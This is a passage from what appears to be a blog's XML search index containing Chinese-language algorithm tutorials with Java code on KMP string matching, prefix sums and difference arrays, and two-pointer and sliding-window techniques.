        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 图 </tag>
            
            <tag> 最短路径 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>字符串匹配KMP算法</title>
      <link href="//kmp-string-matching/"/>
      <url>//kmp-string-matching/</url>
      
        <content type="html"><![CDATA[<h2 id="一、字符串匹配问题"><a href="#一、字符串匹配问题" class="headerlink" title="一、字符串匹配问题"></a>一、字符串匹配问题</h2><h3 id="1-1-问题定义"><a href="#1-1-问题定义" class="headerlink" title="1.1 问题定义"></a>1.1 问题定义</h3><p>在文本串 <code>text</code> 中查找模式串 <code>pattern</code> 的出现位置。</p><h3 id="1-2-暴力解法"><a href="#1-2-暴力解法" class="headerlink" title="1.2 暴力解法"></a>1.2 暴力解法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">bruteForce</span><span class="params">(String text, String pattern)</span> &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt;= text.length() - pattern.length(); i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> (j &lt; pattern.length() &amp;&amp; text.charAt(i + j) == pattern.charAt(j)) &#123;</span><br><span class="line">            j++;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (j == pattern.length()) <span class="keyword">return</span> i;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(mn) )</p><h2 id="二、KMP核心思想"><a href="#二、KMP核心思想" class="headerlink" title="二、KMP核心思想"></a>二、KMP核心思想</h2><h3 id="2-1-观察"><a href="#2-1-观察" class="headerlink" title="2.1 观察"></a>2.1 观察</h3><p>当匹配失败时，模式串中已匹配的部分可能包含<strong>相同的前缀和后缀</strong>，可以直接利用这部分信息，避免文本串指针回溯。</p><h3 id="2-2-示例"><a href="#2-2-示例" class="headerlink" title="2.2 示例"></a>2.2 示例</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">text:    a b a b a b c a</span><br><span class="line">pattern: a b a b c</span><br><span class="line">              ↑</span><br><span class="line">            失配于第5位</span><br><span class="line"></span><br><span class="line">已匹配: a b a b</span><br><span class="line">最长相同前缀后缀: a b</span><br><span class="line">可以直接将pattern移动到：</span><br><span class="line">text:    a b a b a b c a</span><br><span class="line">pattern:     a b a b c</span><br></pre></td></tr></table></figure><h2 id="三、next数组（前缀函数）"><a href="#三、next数组（前缀函数）" class="headerlink" title="三、next数组（前缀函数）"></a>三、next数组（前缀函数）</h2><h3 id="3-1-定义"><a href="#3-1-定义" class="headerlink" title="3.1 定义"></a>3.1 定义</h3><p><code>next[i]</code> 表示 <code>pattern[0..i]</code> 中最长的相等前缀后缀的长度。</p><h3 id="3-2-构建"><a href="#3-2-构建" class="headerlink" title="3.2 构建"></a>3.2 构建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] buildNext(String pattern) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> pattern.length();</span><br><span class="line">    <span class="type">int</span>[] next = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>;  <span class="comment">// 前缀末尾</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="keyword">while</span> (j &gt; <span class="number">0</span> &amp;&amp; pattern.charAt(i) != pattern.charAt(j)) &#123;</span><br><span class="line">            j = next[j - <span class="number">1</span>];  <span class="comment">// 回退</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (pattern.charAt(i) == pattern.charAt(j)) &#123;</span><br><span class="line">            j++;</span><br><span class="line">        &#125;</span><br><span class="line">        next[i] = j;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> next;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-示例"><a href="#3-3-示例" class="headerlink" title="3.3 示例"></a>3.3 示例</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pattern: a b a b c a</span><br><span class="line">next:    0 0 1 2 0 1</span><br><span class="line"></span><br><span class="line">解释:</span><br><span class="line">&quot;a&quot;      -&gt; 0</span><br><span class="line">&quot;ab&quot;     -&gt; 0</span><br><span class="line">&quot;aba&quot;    -&gt; 1 (&quot;a&quot;)</span><br><span class="line">&quot;abab&quot;   -&gt; 2 (&quot;ab&quot;)</span><br><span class="line">&quot;ababc&quot;  -&gt; 0</span><br><span class="line">&quot;ababca&quot; -&gt; 1 (&quot;a&quot;)</span><br></pre></td></tr></table></figure><h2 id="四、KMP匹配"><a href="#四、KMP匹配" class="headerlink" title="四、KMP匹配"></a>四、KMP匹配</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">kmp</span><span class="params">(String text, String pattern)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (pattern.isEmpty()) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span>[] next = buildNext(pattern);</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; text.length(); i++) &#123;</span><br><span class="line">        <span class="keyword">while</span> (j &gt; <span class="number">0</span> &amp;&amp; text.charAt(i) != pattern.charAt(j)) &#123;</span><br><span class="line">            j = next[j - <span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (text.charAt(i) == pattern.charAt(j)) &#123;</span><br><span class="line">            j++;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (j == pattern.length()) &#123;</span><br><span class="line">            <span class="keyword">return</span> i - pattern.length() + <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、复杂度分析"><a href="#五、复杂度分析" class="headerlink" title="五、复杂度分析"></a>五、复杂度分析</h2><table><thead><tr><th>步骤</th><th>时间</th><th>空间</th></tr></thead><tbody><tr><td>构建next数组</td><td>( O(m) )</td><td>( O(m) )</td></tr><tr><td>匹配</td><td>( O(n) )</td><td>( O(1) )</td></tr><tr><td>总计</td><td>( O(m + n) )</td><td>( O(m) )</td></tr></tbody></table><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><p>KMP算法的精髓在于<strong>利用已匹配信息</strong>，通过next数组记录模式串自身的结构特征，避免文本串指针的回溯。理解next数组的构建过程，是掌握KMP的关键。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 字符串 </tag>
            
            <tag> KMP </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>前缀和与差分数组</title>
      <link href="//prefix-sum-difference-array/"/>
      <url>//prefix-sum-difference-array/</url>
      
        <content type="html"><![CDATA[<h2 id="一、前缀和"><a href="#一、前缀和" class="headerlink" title="一、前缀和"></a>一、前缀和</h2><h3 id="1-1-定义"><a href="#1-1-定义" class="headerlink" title="1.1 定义"></a>1.1 定义</h3><p>前缀和数组 <code>prefix[i]</code> 表示原数组从0到i的元素之和。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">原数组: [1, 2, 3, 4, 5]</span><br><span class="line">前缀和: [1, 3, 6, 10, 15]</span><br></pre></td></tr></table></figure><h3 id="1-2-构建"><a href="#1-2-构建" class="headerlink" title="1.2 构建"></a>1.2 构建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[] prefix = <span class="keyword">new</span> <span class="title class_">int</span>[n + <span class="number">1</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">    prefix[i + <span class="number">1</span>] = prefix[i] + nums[i];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="1-3-区间查询"><a href="#1-3-区间查询" class="headerlink" title="1.3 区间查询"></a>1.3 区间查询</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 查询[left, right]的和</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">query</span><span class="params">(<span class="type">int</span> left, <span class="type">int</span> right)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> prefix[right + <span class="number">1</span>] - prefix[left];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(1) )</p><h3 id="1-4-二维前缀和"><a href="#1-4-二维前缀和" class="headerlink" title="1.4 二维前缀和"></a>1.4 二维前缀和</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[][] prefix = <span class="keyword">new</span> <span class="title class_">int</span>[m + <span class="number">1</span>][n + <span class="number">1</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= m; i++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">1</span>; j &lt;= n; j++) &#123;</span><br><span class="line">        prefix[i][j] = matrix[i-<span class="number">1</span>][j-<span class="number">1</span>] </span><br><span class="line">                     + prefix[i-<span class="number">1</span>][j] </span><br><span class="line">                     + prefix[i][j-<span class="number">1</span>] </span><br><span class="line">                     - prefix[i-<span class="number">1</span>][j-<span class="number">1</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查询矩形区域和</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">query</span><span class="params">(<span class="type">int</span> r1, <span class="type">int</span> c1, <span class="type">int</span> r2, <span class="type">int</span> c2)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> prefix[r2+<span class="number">1</span>][c2+<span class="number">1</span>] - prefix[r1][c2+<span class="number">1</span>] </span><br><span class="line">         - prefix[r2+<span class="number">1</span>][c1] + prefix[r1][c1];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="二、差分数组"><a href="#二、差分数组" class="headerlink" title="二、差分数组"></a>二、差分数组</h2><h3 id="2-1-定义"><a href="#2-1-定义" class="headerlink" title="2.1 定义"></a>2.1 定义</h3><p>差分数组 <code>diff[i]</code> 表示原数组第i个元素与第i-1个元素的差。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">原数组: [1, 3, 6, 10, 15]</span><br><span class="line">差分数组: [1, 2, 3, 4, 5]</span><br></pre></td></tr></table></figure><h3 id="2-2-构建"><a href="#2-2-构建" class="headerlink" title="2.2 构建"></a>2.2 构建</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[] diff = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">diff[<span class="number">0</span>] = nums[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i++) &#123;</span><br><span class="line">    diff[i] = nums[i] - nums[i - <span class="number">1</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-区间更新"><a href="#2-3-区间更新" class="headerlink" title="2.3 区间更新"></a>2.3 区间更新</h3><p>对 <code>[left, right]</code> 区间加 <code>val</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">diff[left] += val;</span><br><span class="line"><span class="keyword">if</span> (right + <span class="number">1</span> &lt; n) diff[right + <span class="number">1</span>] -= val;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(1) )</p><h3 id="2-4-还原原数组"><a href="#2-4-还原原数组" class="headerlink" title="2.4 还原原数组"></a>2.4 还原原数组</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span>[] res = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">res[<span class="number">0</span>] = diff[<span class="number">0</span>];</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i++) &#123;</span><br><span class="line">    res[i] = res[i - <span class="number">1</span>] + diff[i];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、经典应用"><a href="#三、经典应用" class="headerlink" title="三、经典应用"></a>三、经典应用</h2><h3 id="3-1-航班预订统计"><a href="#3-1-航班预订统计" class="headerlink" title="3.1 航班预订统计"></a>3.1 航班预订统计</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] corpFlightBookings(<span class="type">int</span>[][] bookings, <span class="type">int</span> n) &#123;</span><br><span class="line">    <span class="type">int</span>[] diff = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span>[] booking : bookings) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">first</span> <span class="operator">=</span> booking[<span class="number">0</span>] - <span class="number">1</span>, last = booking[<span class="number">1</span>] - <span class="number">1</span>, seats = booking[<span class="number">2</span>];</span><br><span class="line">        diff[first] += seats;</span><br><span class="line">        <span class="keyword">if</span> (last + <span class="number">1</span> &lt; n) diff[last + <span class="number">1</span>] -= seats;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; n; i++) &#123;</span><br><span class="line">        diff[i] += diff[i - <span class="number">1</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> diff;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-和为K的子数组"><a href="#3-2-和为K的子数组" class="headerlink" title="3.2 和为K的子数组"></a>3.2 和为K的子数组</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">subarraySum</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> k)</span> &#123;</span><br><span class="line">    Map&lt;Integer, Integer&gt; prefixCount = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    prefixCount.put(<span class="number">0</span>, <span class="number">1</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0</span>, count = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : nums) &#123;</span><br><span class="line">        sum += num;</span><br><span class="line">        count += prefixCount.getOrDefault(sum - k, <span class="number">0</span>);</span><br><span class="line">        prefixCount.put(sum, prefixCount.getOrDefault(sum, <span class="number">0</span>) + <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、总结"><a href="#四、总结" class="headerlink" title="四、总结"></a>四、总结</h2><table><thead><tr><th>技巧</th><th>适用场景</th><th>核心操作</th></tr></thead><tbody><tr><td>前缀和</td><td>区间查询</td><td>( O(1) ) 求区间和</td></tr><tr><td>差分数组</td><td>区间更新</td><td>( O(1) ) 区间加减</td></tr></tbody></table><p>前缀和与差分数组是一对<strong>互逆操作</strong>：</p><ul><li>原数组 → 前缀和：用于快速查询</li><li>原数组 → 差分数组：用于快速更新</li></ul><p>掌握这两种技巧，可以将大量区间操作问题优化到线性甚至常数时间。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 前缀和 </tag>
            
            <tag> 差分 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>滑动窗口与双指针技巧</title>
      <link href="//sliding-window-two-pointers/"/>
      <url>//sliding-window-two-pointers/</url>
      
        <content type="html"><![CDATA[<h2 id="一、双指针概述"><a href="#一、双指针概述" class="headerlink" title="一、双指针概述"></a>一、双指针概述</h2><h3 id="1-1-核心思想"><a href="#1-1-核心思想" class="headerlink" title="1.1 核心思想"></a>1.1 核心思想</h3><p>使用两个指针遍历数据结构，根据条件移动指针，将 ( O(n^2) ) 优化为 ( O(n) )。</p><h3 id="1-2-常见类型"><a href="#1-2-常见类型" class="headerlink" title="1.2 常见类型"></a>1.2 常见类型</h3><table><thead><tr><th>类型</th><th>特点</th><th>应用</th></tr></thead><tbody><tr><td>对撞指针</td><td>从两端向中间移动</td><td>两数之和、回文判断</td></tr><tr><td>快慢指针</td><td>速度不同</td><td>环检测、找中点</td></tr><tr><td>滑动窗口</td><td>维护子数组/子串</td><td>子串问题、区间问题</td></tr></tbody></table><h2 id="二、对撞指针"><a href="#二、对撞指针" class="headerlink" title="二、对撞指针"></a>二、对撞指针</h2><h3 id="2-1-两数之和（有序数组）"><a href="#2-1-两数之和（有序数组）" class="headerlink" title="2.1 两数之和（有序数组）"></a>2.1 两数之和（有序数组）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] twoSum(<span class="type">int</span>[] nums, <span class="type">int</span> target) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt; right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> nums[left] + nums[right];</span><br><span class="line">        <span class="keyword">if</span> (sum == target) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;left, right&#125;;</span><br><span class="line">        <span class="keyword">if</span> (sum &lt; target) left++;</span><br><span class="line">        <span class="keyword">else</span> right--;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">int</span>[]&#123;-<span class="number">1</span>, -<span class="number">1</span>&#125;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-2-盛最多水的容器"><a href="#2-2-盛最多水的容器" class="headerlink" title="2.2 盛最多水的容器"></a>2.2 盛最多水的容器</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">maxArea</span><span class="params">(<span class="type">int</span>[] height)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = height.length - <span class="number">1</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">maxArea</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (left &lt; right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">area</span> <span class="operator">=</span> Math.min(height[left], height[right]) * (right - left);</span><br><span class="line">        maxArea = Math.max(maxArea, area);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (height[left] &lt; height[right]) left++;</span><br><span class="line">        <span class="keyword">else</span> right--;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> maxArea;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-三数之和"><a href="#2-3-三数之和" class="headerlink" title="2.3 三数之和"></a>2.3 三数之和</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;List&lt;Integer&gt;&gt; <span class="title function_">threeSum</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    Arrays.sort(nums);</span><br><span class="line">    List&lt;List&lt;Integer&gt;&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nums.length - <span class="number">2</span>; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (i &gt; <span class="number">0</span> &amp;&amp; nums[i] == nums[i - <span class="number">1</span>]) <span class="keyword">continue</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> i + <span class="number">1</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (left &lt; right) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">sum</span> <span class="operator">=</span> nums[i] + nums[left] + nums[right];</span><br><span class="line">            <span class="keyword">if</span> (sum == <span class="number">0</span>) &#123;</span><br><span class="line">                res.add(Arrays.asList(nums[i], nums[left], nums[right]));</span><br><span class="line">                <span class="keyword">while</span> (left &lt; right &amp;&amp; nums[left] == nums[left + <span class="number">1</span>]) left++;</span><br><span class="line">                <span class="keyword">while</span> (left &lt; right &amp;&amp; nums[right] == nums[right - <span class="number">1</span>]) right--;</span><br><span class="line">                left++; right--;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (sum &lt; <span class="number">0</span>) left++;</span><br><span class="line">            <span class="keyword">else</span> right--;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、快慢指针"><a href="#三、快慢指针" class="headerlink" title="三、快慢指针"></a>三、快慢指针</h2><h3 id="3-1-检测链表环"><a href="#3-1-检测链表环" class="headerlink" title="3.1 检测链表环"></a>3.1 检测链表环</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">hasCycle</span><span class="params">(ListNode head)</span> &#123;</span><br><span class="line">    <span class="type">ListNode</span> <span class="variable">slow</span> <span class="operator">=</span> head, fast = head;</span><br><span class="line">    <span class="keyword">while</span> (fast != <span class="literal">null</span> &amp;&amp; fast.next != <span class="literal">null</span>) &#123;</span><br><span class="line">        slow = slow.next;</span><br><span class="line">        fast = fast.next.next;</span><br><span class="line">        <span class="keyword">if</span> (slow == fast) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-找环入口"><a href="#3-2-找环入口" class="headerlink" title="3.2 找环入口"></a>3.2 找环入口</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> ListNode <span class="title function_">detectCycle</span><span class="params">(ListNode head)</span> &#123;</span><br><span class="line">    <span class="type">ListNode</span> <span class="variable">slow</span> <span class="operator">=</span> head, fast = head;</span><br><span class="line">    <span class="keyword">while</span> (fast != <span class="literal">null</span> &amp;&amp; fast.next != <span class="literal">null</span>) &#123;</span><br><span class="line">        slow = slow.next;</span><br><span class="line">        fast = fast.next.next;</span><br><span class="line">        <span class="keyword">if</span> (slow == fast) <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (fast == <span class="literal">null</span> || fast.next == <span class="literal">null</span>) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    </span><br><span class="line">    slow = head;</span><br><span class="line">    <span class="keyword">while</span> (slow != fast) &#123;</span><br><span class="line">        slow = slow.next;</span><br><span class="line">        fast = fast.next;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> slow;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、滑动窗口"><a href="#四、滑动窗口" class="headerlink" title="四、滑动窗口"></a>四、滑动窗口</h2><h3 id="4-1-固定窗口大小"><a href="#4-1-固定窗口大小" class="headerlink" title="4.1 固定窗口大小"></a>4.1 固定窗口大小</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">double</span>[] findAverages(<span class="type">int</span>[] nums, <span class="type">int</span> k) &#123;</span><br><span class="line">    <span class="type">double</span>[] res = <span class="keyword">new</span> <span class="title class_">double</span>[nums.length - k + <span class="number">1</span>];</span><br><span class="line">    <span class="type">double</span> <span class="variable">sum</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nums.length; i++) &#123;</span><br><span class="line">        sum += nums[i];</span><br><span class="line">        <span class="keyword">if</span> (i &gt;= k - <span class="number">1</span>) &#123;</span><br><span class="line">            res[i - k + <span class="number">1</span>] = sum / k;</span><br><span class="line">            sum -= nums[i - k + <span class="number">1</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-可变窗口-最小覆盖子串"><a href="#4-2-可变窗口-最小覆盖子串" class="headerlink" title="4.2 可变窗口 - 最小覆盖子串"></a>4.2 可变窗口 - 最小覆盖子串</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">minWindow</span><span class="params">(String s, String t)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] need = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">128</span>];</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">char</span> c : t.toCharArray()) need[c]++;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> t.length();</span><br><span class="line">    <span class="type">int</span> <span class="variable">minLen</span> <span class="operator">=</span> Integer.MAX_VALUE;</span><br><span class="line">    <span class="type">int</span> <span class="variable">start</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (right &lt; s.length()) &#123;</span><br><span class="line">        <span class="type">char</span> <span class="variable">c</span> <span class="operator">=</span> s.charAt(right);</span><br><span class="line">        <span class="keyword">if</span> (need[c] &gt; <span class="number">0</span>) count--;</span><br><span class="line">        need[c]--;</span><br><span class="line">        right++;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">while</span> (count == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (right - left &lt; minLen) &#123;</span><br><span class="line">                minLen = right - left;</span><br><span class="line">                start = left;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="type">char</span> <span class="variable">lc</span> <span class="operator">=</span> s.charAt(left);</span><br><span class="line">            need[lc]++;</span><br><span class="line">            <span class="keyword">if</span> (need[lc] &gt; <span class="number">0</span>) count++;</span><br><span class="line">            left++;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> minLen == Integer.MAX_VALUE ? <span class="string">&quot;&quot;</span> : s.substring(start, start + minLen);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-最长无重复子串"><a href="#4-3-最长无重复子串" class="headerlink" title="4.3 最长无重复子串"></a>4.3 最长无重复子串</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">lengthOfLongestSubstring</span><span class="params">(String s)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] index = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">128</span>];</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, maxLen = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">right</span> <span class="operator">=</span> <span class="number">0</span>; right &lt; s.length(); right++) &#123;</span><br><span class="line">        <span class="type">char</span> <span class="variable">c</span> <span class="operator">=</span> s.charAt(right);</span><br><span class="line">        left = Math.max(left, index[c]);</span><br><span class="line">        maxLen = Math.max(maxLen, right - left + <span class="number">1</span>);</span><br><span class="line">        index[c] = right + <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> maxLen;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><table><thead><tr><th>技巧</th><th>适用场景</th><th>时间复杂度</th></tr></thead><tbody><tr><td>对撞指针</td><td>有序数组、两端收缩</td><td>( O(n) )</td></tr><tr><td>快慢指针</td><td>链表环、中点</td><td>( O(n) )</td></tr><tr><td>滑动窗口</td><td>子串/子数组问题</td><td>( O(n) )</td></tr></tbody></table><p>双指针和滑动窗口的核心是<strong>减少不必要的遍历</strong>。通过指针移动条件，跳过不可能满足要求的情况，将暴力解法优化到线性时间。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 滑动窗口 </tag>
            
